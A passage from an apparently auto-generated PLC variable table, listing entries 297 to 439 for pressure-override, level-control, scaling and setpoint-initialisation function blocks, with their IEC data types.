+297;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.EN;BOOL; +298;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ENO;BOOL; +299;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT;UINT; +300;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT;INT; +301;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT;UINT; +302;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT;UINT; +303;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT;INT; +304;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9;SCALE_TO_SIGNED; +305;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.EN;BOOL; +306;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ENO;BOOL; +307;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT;UINT; +308;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT;INT; +309;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT;UINT; +310;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT;UINT; +311;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT;INT; +312;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;PRESSURE_OVERRIDE; +313;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;BOOL; +314;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;BOOL; +315;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;REAL; +316;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;UINT; +317;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;UINT; +318;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;REAL; +319;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;REAL; +320;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;REAL; +321;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;REAL; +322;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;UINT; +323;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;REAL; +324;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;UINT; +325;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;REAL; +326;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;REAL; +327;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;TIME; +328;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;SCALE_TO_REAL; +329;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;BOOL; +330;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;BOOL; +331;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;UINT; +332;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;REAL; +333;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;REAL; +334;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;REAL; +335;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;UINT; +336;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;UINT; +337;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;REAL; +338;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;REAL; +339;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;REAL; +340;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;REAL; +341;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;REAL; +342;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;REAL; +343;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;SCALE_TO_REAL; +344;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;BOOL; +345;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;BOOL; +346;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +347;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;REAL; +348;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;REAL; +349;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;REAL; +350;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;UINT; +351;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;UINT; +352;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;REAL; +353;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;REAL; +354;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;REAL; +355;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;REAL; +356;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;REAL; +357;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;REAL; +358;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;REAL; +359;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;REAL; +360;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;REAL; +361;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;UINT; +362;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;LEVEL_CONTROL; +363;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;BOOL; +364;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;BOOL; +365;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;UINT; +366;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;UINT; +367;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;UINT; +368;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;UINT; +369;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;TIME; +370;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;REAL; +371;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;REAL; +372;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +373;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +374;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +375;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +376;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +377;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +378;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +379;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +380;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +381;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +382;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +383;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;REAL; +384;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;REAL; +385;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;REAL; +386;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;REAL; +387;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;REAL; +388;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;REAL; +389;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;REAL; +390;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;REAL; +391;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +392;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +393;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +394;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +395;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +396;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +397;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +398;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +399;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +400;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +401;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +402;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +403;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +404;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +405;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +406;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +407;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +408;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +409;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +410;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +411;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +412;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +413;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +414;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +415;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +416;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +417;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +418;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +419;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +420;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +421;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;REAL; +422;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;REAL; +423;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;REAL; +424;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;REAL; +425;EXT;CONFIG0.RES0.INSTANCE0.RUN_BIT;CONFIG0.RES0.INSTANCE0.RUN_BIT;BOOL; +426;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT0;CONFIG0.RES0.INSTANCE0.RUN_BIT0;BOOL; +427;FB;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;INITIALIZE_SP; +428;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;BOOL; +429;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;BOOL; +430;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;UINT; +431;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;UINT; +432;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;UINT; +433;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;UINT; +434;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;UINT; +435;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +436;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +437;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +438;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +439;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; 